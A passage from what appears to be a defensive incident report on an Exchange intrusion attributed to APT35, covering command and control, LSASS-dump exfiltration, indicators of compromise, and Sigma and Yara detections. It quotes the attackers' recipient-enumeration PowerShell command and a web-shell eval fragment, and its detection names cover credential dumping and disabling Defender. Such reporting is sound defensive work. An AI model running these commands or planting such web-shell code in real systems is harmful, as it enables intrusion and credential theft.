findstr DomainController Additionally, we saw threat actors retrieving an email address from the compromised exchange server using the below command. This was likely done as a test. Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft hidetableheaders" Collection While having access to the Exchange server, we observed no attempts to export or access user mailboxes. 12/22 Command and Control As we saw from the execution section, dllhost.exe was used to access the below domains for C2, which we believe was using a variation of FRP. tcp443.msupdate[.]us (107.173.231[.]114) kcp53.msupdate[.]us (107.173.231[.]114) This C2 channel was not used very much as most activity was done through the web shell. Exfiltration The only successful data that was exfiltrated from the environment was the archive containing the LSASS dump. Here you can see the threat actor using the web shell command to extract it: Impact In this case, there was no further impact to the environment before the threat actors were evicted. Due to our previous report and OSINT research we believe with medium to high confidence that this intrusion would have ended in ransomware. 13/22 Indicators All artifacts including web shells, files, IPs, etc. were added to our services in December. Network ipv4:148.251.71[.]182 ipv4:107.173.231[.]114 domain: tcp443.msupdate[.]us domain: kcp53.msupdate[.]us useragent:python-urllib3/1.26.7 useragent:python-requests/2.26.0 File aspx_dyukbdcxjfi.aspx 1a5ad24a6880eea807078375d6461f58 da2470c3990ea0862a79149c6036388498da83cd 84f77fc4281ebf94ab4897a48aa5dd7092cc0b7c78235965637eeef0908fb6c7 dhvqx.aspx b2fde6dc7bd1e04ce601f57805de415b 4d243969b54b9b80c1d26e0801a6e7e46d2ef03e c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8 dllhost.exe 9a3703f9c532ae2ec3025840fa449d4e 8ece87086e8b5aba0d1cc4ec3804bf74e0b45bee 1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e wininet.bat 5f098b55f94f5a448ca28904a57c0e58 27102b416ef5df186bd8b35190c2a4cc4e2fbf37 668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 wininet.xml d2f4647a3749d30a35d5a8faff41765e 0f676bc786db3c44cac4d2d22070fb514b4cb64c 559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e user.exe f0be699c8aafc41b25a8fc0974cc4582 6bae2d45bbd8c4b0a59ba08892692fe86e596154 7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b task_update.exe cacb64bdf648444e66c82f5ce61caf4b 3a6431169073d61748829c31a9da29123dd61da8 12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075f Detections 14/22 Network ET INFO User-Agent (python-requests) Inbound to Webserver ET INFO Generic HTTP EXE Upload Inbound ET INFO Generic HTTP EXE Upload Outbound GPL ATTACK_RESPONSE command completed ET ATTACK_RESPONSE Net User Command Response ET WEB_SERVER WebShell Generic - netsh firewall Sigma Local Accounts Discovery https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_local_system_owner_account_discovery.yml Lsass Memory Dump via Comsvcs DLL https://github.com/SigmaHQ/sigma/blob/b81839e3ce507df925d6e583e569e1ac3a3894ab/ rules/windows/process_access/sysmon_lsass_dump_comsvcs_dll.yml Net.exe Execution https://github.com/SigmaHQ/sigma/blob/777d218adc789b7f1b146701793e78799324d87d/ rules/windows/process_creation/win_susp_net_execution.yml Net-exe User Account Creation https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_net_user_add.yml Netsh Port or Application Allowed https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_netsh_fw_add.yml Netsh RDP Port Opening https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_netsh_allow_port_rdp.yml Non Interactive PowerShell https://github.com/SigmaHQ/sigma/blob/1425ede905514b7dbf3c457561aaf2ff27274724/ru les/windows/process_creation/win_non_interactive_powershell.yml Powershell Defender Exclusion https://github.com/SigmaHQ/sigma/blob/682e0458a336c3a6e93b18f7e972e1d67ef01598/r ules/windows/process_creation/win_powershell_defender_exclusion.yml PowerShell Get-Process LSASS https://github.com/SigmaHQ/sigma/blob/1ff5e226ad8bed34916c16ccc77ba281ca3203ae/ru les/windows/process_creation/win_susp_powershell_getprocess_lsass.yml 15/22 Process Dump via Comsvcs DLL https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_susp_comsvcs_procdump.yml Quick Execution of a Series of Suspicious Commands https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/ rules/windows/process_creation/win_multiple_suspicious_cli.yml Rare Scheduled Task Creations https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/ru les/windows/other/taskscheduler/win_rare_schtask_creation.yml Service Execution https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_service_execution.yml Shells Spawned by Web Servers https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_webshell_spawn.yml Suspicious PowerShell Parent Process https://github.com/SigmaHQ/sigma/blob/6f5271275e9ac22be9ded8b9252bce064e524153/ rules/windows/process_creation/win_susp_powershell_parent_process.yml Suspicious Script Execution From Temp Folder https://github.com/SigmaHQ/sigma/blob/ed4e771700681b36eb8dd74a13dffc94c857bb46/ rules/windows/process_creation/win_susp_script_exec_from_temp.yml Wdigest Enable UseLogonCredential https://github.com/SigmaHQ/sigma/blob/503df469687fe4d14d2119a95723485d079ec0d9/ rules/windows/registry_event/sysmon_wdigest_enable_uselogoncredential.yml Webshell Detection With Command Line Keywords https://github.com/SigmaHQ/sigma/blob/1cfca93354d25e458db40f8d48403602b46bbf03 /rules/windows/process_creation/win_webshell_detection.yml Windows Defender Real-Time Protection Disabled https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r ules/windows/registry_event/registry_event_defender_realtime_protection_disabled.yml Windows Defender Threat Detection Disabled https://github.com/SigmaHQ/sigma/blob/57cdfd261266b81255e330723f4adf270fc4c4f8/r ules/windows/registry_event/registry_event_defender_disabled.yml 16/22 Windows Shell Spawning Suspicious Program https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/process_creation/win_shell_spawn_susp_program.yml Windows Suspicious Use Of Web Request in CommandLine https://github.com/SigmaHQ/sigma/blob/98d7380a40d503ffd225420f7318b79d9f5097b8 /rules/windows/process_creation/process_creation_susp_web_request_cmd.yml Windows Webshell Creation https://github.com/SigmaHQ/sigma/blob/ab814cbc408234eddf538bc893fcbe00c32ca2e9/ rules/windows/file_event/sysmon_webshell_creation_detect.yml Yara 17/22 rule files_dhvqx { meta: description = "9893_files - file dhvqx.aspx" author = "TheDFIRReport" reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/" date = "2022-03-21" hash1 = "c5aae30675cc1fd83fd25330cec245af744b878a8f86626d98b8e7fcd3e970f8" strings: $s1 = "eval(Request['exec_code'],'unsafe');Response.End;" fullword ascii $s2 = "6